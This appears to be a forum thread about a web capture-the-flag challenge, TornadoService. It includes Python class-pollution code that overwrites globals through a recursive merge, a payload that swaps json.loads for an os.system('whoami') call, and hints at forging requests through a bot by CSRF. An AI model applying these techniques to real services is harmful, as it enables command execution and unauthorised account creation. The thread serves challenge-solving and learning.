TornadoService Discussion [WEB]

Let’s talk about TornadoService. Please do not share any flags or writeups.

This will help you a lot.

Then just create a decent payload.

Very dangerous function. I was able to modify the USERS array.

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class User:
    def __init__(self):
        pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>

I wonder if it’s possible to inject commands in a similar way.

Seems like it is possible. it’s possible to set a function to another.

It’s not possible to do in that challenge but we could re-define the functions in a similar manner:

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

payload = {
    "machine_id": "123",
    "status": "123",
    '__class__': {
        '__init__': {
            '__globals__': {
                'json': {
                    'loads': lambda: os.system("whoami")
                }
            }
        }
    }
}

# after merge function is called
json.loads() # this will execute whoami

Do you need fake ip ?

I can use one of the endpoints to make the bot hit the backend in localhost directly, but it uses GET and the endpoint to modify the USERS dictionary requires a POST. I tried passing X-Real_ip and X-Forwarded-For too, but the tornado server is started with xheaders=False. Any ideas?

You don’t need those headers. When you send requests via the bot function, you’re sending the request from the server’s localhost, which satisfies the IP address condition.

Check out what CSRF is and how you can use it to forge requests from the bot to create new users.

Yeah, you need to somehow host your HTML CSRF payload